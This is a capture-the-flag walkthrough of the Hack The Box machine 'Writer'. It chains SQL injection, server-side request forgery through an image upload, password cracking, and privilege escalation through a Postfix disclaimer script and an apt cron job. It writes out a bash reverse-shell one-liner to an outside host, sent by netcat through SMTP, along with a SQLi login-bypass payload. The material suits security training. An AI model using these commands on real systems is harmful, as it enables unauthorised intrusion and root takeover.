Hack The Box: Writer


Jump Ahead: EnumGetting a FootholdLateral MovementUserRootResources

TL;DR;

To solve this machine, we begin by enumerating open ports using nmap – finding ports 22, 80, 139, and 445 open. From the webserver, we find a login form that is vulnerable to SQLi. Exploiting this, we are able to gain access to the admin portal of the site, and read files on the system. From a file we are able to read, we get a password we can use to authenticate to the SMB server as kyle. Exploiting write permissions on the SMB server, in conjunction with an image upload functionality on the admin portal, allows us to obtain a reverse shell as the www-data user. With this, we are able to dump a password hash from a database, crack it, and get a system shell as kyle – gaining access to user.txt. On the machine, a mail server is running locally, and we are able to exploit it to get a reverse shell as john. john is a member of the management group, which has write permission to a directory used by apt-get. Exploiting this permission, we are able to get a reverse shell as root – allowing assess to root.txt.

Enumeration

Like all machines, we begin by enumerating open ports using nmap. From our scans, we find ports 22, 80, 139, and 445 open.

khaotic@kali$ sudo nmap -v -p- --min-rate 3000 $RHOST
[...]
khaotic@kali$ sudo nmap -sV -A -p 22,80,139,445 -oA enum/nmap/tcp-all-scripts $RHOST
# Nmap 7.91 scan initiated Sun Aug  1 08:30:08 2021 as: nmap -sV -A -p 22,80,139,445 -oA enum/nmap/tcp-all-scripts 10.129.191.94
Nmap scan report for 10.129.191.94
Host is up (0.047s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), Linux 5.0 - 5.3 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-01T13:30:35
|_  start_date: N/A

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   45.90 ms 10.10.14.1
2   45.96 ms 10.129.191.94

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug  1 08:30:38 2021 -- 1 IP address (1 host up) scanned in 29.75 seconds

Seeing as a webserver is running on port 80, we start its enumeration using gobuster. From the results, we see a few interesting directories we should look into.

khaotic@kali$ for i in files directories; do gobuster dir -t 30 -u $RHOST -w /opt/wordlists/seclists/Discovery/Web-Content/raft-medium-$i.txt -o enum/web/gobuster-80-rm${i:0:1}.txt; done
[...]
/contact              (Status: 200) [Size: 4905]
/logout               (Status: 302) [Size: 208] [--> http://10.129.191.94/]
/about                (Status: 200) [Size: 3522]
/static               (Status: 301) [Size: 315] [--> http://10.129.191.94/static/]
/dashboard            (Status: 302) [Size: 208] [--> http://10.129.191.94/]
/server-status        (Status: 403) [Size: 278]
/administrative       (Status: 200) [Size: 1443]

Next, we use smbmap to check for anonymous and guest authentication. We see that they are enabled, however, we do not have read/write permissions to any shares. For port 135 (RPC), we connect anonymously using rpcclient, and learn there is a user named kyle on the machine.

Navigating to the webserver in our browser, we see the site appears to be a blog for several authors.

Looking at the “About” page, we find an FQDN of “admin.htb”.

After adding it to our /etc/hosts files, we try to navigate to it, but are given the same website as navigating to it by IP address.

Getting User

Since we found an administrative directory in our initial enumeration, we decide to start looking into it. Going to the directory, we are presented with a login form. Attempting the classic ' or 1=1-- - SQL injection (SQLi) payload on the form, we are given access to an administrative dashboard (also found in our enumeration).

Since we know for sure the login form is vulnerable to SQL injections, we save the login request from our intercepting proxy (BurpSuite) to a file. Using sqlmap with the login request, we can check what privileges the database user has. From the output, we see the admin user has the “File” privilege – which allows us to read and write files to the system.

Testing this privilege, we are able to read the /etc/passwd file, and check which users have a shell on the machine.

Next, using the SQLi to read the Samba (SMB) configuration at /etc/samba/smb.conf, we learn there is a share named “writer2_project” that members of the smbgroup group can read and write to.

Next, we read the enabled Apache configuration at /etc/apache2/sites-enabled/000-default.conf to check for any hidden webservers, or special configurations. From the configuration, we see there is potentially a “dev” app hosted on the local machine on port 8080. Additionally, one thing that stands out is there appears to be script files aliased for the default path for each web server.

Using the SQLi vulnerability to read the /var/www/writer2.htb/wsgi.py script, we see __init__.py mentioned as being imported as the application to run on port 80.

Next, we read that script to get a better understanding of the application. Immediately, we find a pair of credentials for the “writer” database. Using smbmap, we check the database password against the user kyle. The credentials are valid, and we see kyle is able to read and write to the “writer2_project” share. Judging by the name, this is potentially the directory that hosts the web application listening locally on the machine’s port 8080.

Continuing to analyze the __init__.py script, we find the “add story” route that allows blog stories to be created. Looking through this code, we learn that images are allowed to be uploaded via a URL. When we were mapping the administrator portal, we did not see that functionality – only the ability to upload images via file. Looking at the source code in the browser for adding a story, we see the feature is there, but hidden.

For now, we create a test story, making sure to send the request through our proxy for potential, later use. Next, since we have valid credentials for the SMB server, we mount the “writer2_project” share for analysis.

Looking at writerv2/settings.py, we see that writer_web is installed as an application – essentially the real application. Looking at the URL paths and views, we see they each only have 1.

Since we can edit the view, we should be able to execute code when the index page of port 8080‘s webserver is viewed. We should be able to accomplish this since we can execute server-side requests via the image upload by URL feature on port 80. To test this out, we edit the view to import the os module, and use curl to connect to a webserver on our machine. Next, we use netcat to listen on port 80, and edit our previously captured add story request to connect to the webserver running locally on the machine. Since the server requires “.jpg” be in the URL, we append “#.jpg” to the URL – http://127.0.0.1:8080/#.jpg. After sending the request, we indeed get a connection from the webserver requesting the file we supplied.

Since we can get the webserver to connect to our machine, we should be able to get a reverse shell now. To do this, we create a bash reverse shell script, start a listener with netcat, then get the webserver to download and execute the reverse shell script. Once the webserver executes the script, we are given a shell as the www-data user. For an easier time interacting with the machine, we upgrade our shell.

Getting User

Since we now have a shell as the www-data user, we begin our initial local enumeration. From /var/www/writer2_project/writerv2/settings.py, we see the application is configured to connect to mysql using the details stored in /etc/mysql/my.cnf. Looking at this file, we find another set of credentials.

Using the credentials, we connect to mysql and enumerate the database for potential credentials. From the “auth_user” table, we find credentials for kyle.

Using hashcat, we are able to bruteforce kyle‘s password.

khaotic@kracken$ hashcat -m 10000 'pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=' wordlists/rockyou.txt

Attempting to use the credentials using su , we are given a shell as kyle – allowing us to now read user.txt.

For a better shell, we can SSH into the machine.

Lateral Movement

Now that we have a shell as the kyle user, we start looking for avenues to privilege escalate to root. First, we try to run sudo -l, but our user is not permitted to use the command. Next, we run pspy for a few minutes to check for cron jobs that may be running. By doing this, we see a couple processes that seem interesting – including apt-get update.

Next, we check our user groups, and see we are a part of the filter group. Using find, we search for files and directories the filter group owns. From this, we find 2.

Since we see “Postfix” is listed – which is unordinary, we Google for “postfix disclaimer” and find this article. From the article, we learn /etc/postfix/disclaimer_addresses contains all sender email addresses a disclaimer should be added to and /etc/postfix/master.cf contains the configuration for which email types should have the disclaimer. When we look at these files, we learn the disclaimer will be added to emails sent to john from root or kyle.

Since /etc/postfix/disclaimer is a script we have write permissions to (inherited from the filter group), we can edit it to execute a reverse shell. The only condition we have to meet to execute the reverse shell is sending an email to john since we are kyle. Since we know postfix is installed on the machine, we can assume the mail server is running locally on port 25 – a quick ss -tanp confirm this. To exploit the disclaimer to get a reverse shell, we first start a listener, write the reverse shell to the file, and use netcat to send the email to john.

kyle@writer$ echo "bash -c 'bash -i &>/dev/tcp/10.10.14.90/4433 0>&1'" > /etc/postfix/disclaimer && echo -e "HELO writer.htb\nMail From:kyle@writer.htb\nRCPT To: john@writer.htb\nData\nTo: john@writer.htb\nFrom: kyle@writer.htb\nSubject: Testing\nTesting\n." | nc localhost 25

Once we do this, we get a reverse shell as john.

Since john has an SSH key, we download it, and log in using it.

Getting Root

Now that we have a shell as john, we start looking for avenues to privilege escalate to root. First thing we do is run the id command to see what groups we are a part of. After doing so, we see we are also in the management group. Using the find command like we did for kyle, we see that we have RWX permissions to the /etc/apt/apt.conf.d/ directory.

Next, we run an automated enumeration script like LinPEAS, however, we do not see anything that immediately catches our eye. Since we are not able to view cron jobs, we use pspy to monitor new process creations. After a few minutes, we see the apt-get update command runs every minute – indicative it’s likely a cron job.

Since we have write permission to a directory for apt/apt-get, and we see it’s running on a schedule, we assume there is potential for a vulnerability. Googling “apt.conf.d exploit”, we find this article that gives us different ways to privilege escalate to root using apt/apt-get. At the bottom of the article, we see there is an example using a cron job. After following the example and waiting for the cron job to run, we are able to get a reverse shell as root – gaining access to root.txt.

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!

Resources